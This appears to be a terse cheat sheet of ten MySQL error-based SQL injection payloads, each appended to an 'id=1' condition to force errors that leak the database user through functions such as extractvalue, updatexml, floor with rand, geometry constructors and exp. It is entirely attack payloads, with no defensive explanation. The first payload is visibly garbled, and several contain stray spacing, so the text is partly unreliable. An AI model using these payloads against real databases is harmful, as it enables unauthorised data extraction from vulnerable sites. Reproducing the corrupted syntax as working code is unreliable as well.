1.floor ()
SELECT * FROM Test where id=1 and (select 1 from (SELECT COUNT (*), concat (User (), Floor (rand (0)) × from information_schema . Tables GROUP by x) a);
2.extractvalue ()
SELECT * FROM Test where id=1 and (Extractvalue (1,concat (0x7e, (select User ()), 0x7e)));
3.updatexml ()
SELECT * FROM Test where id=1 and (Updatexml (1,concat (0x7e, (select User ()), 0x7e), 1));
4.geometrycollection ()
SELECT * FROM Test where id=1 and GeometryCollection ((SELECT * FROM (select User () a) b));
5.multipoint ()
SELECT * FROM Test where id=1 and multipoint ((SELECT * FROM (select User () a) b));
6.polygon ()
SELECT * FROM test where id=1 and Polygon ((SELECT * FROM (select User () a) b));
7.multipolygon ()
SELECT * FROM Test where id=1 and Multipolygon ((SELECT * FROM (select User () a) b));
8.linestring ()
SELECT * FROM Test where id=1 and linestring ((SELECT * FROM (select User () a) b));
9.multilinestring ()
SELECT * FROM Test where id=1 and multilinestring ((SELECT * FROM (select User () a) b));
10.exp ()
SELECT * FROM Test where id=1 and exp (~ (SELECT * FROM (select User ()) a));
10 kinds of MySQL error injection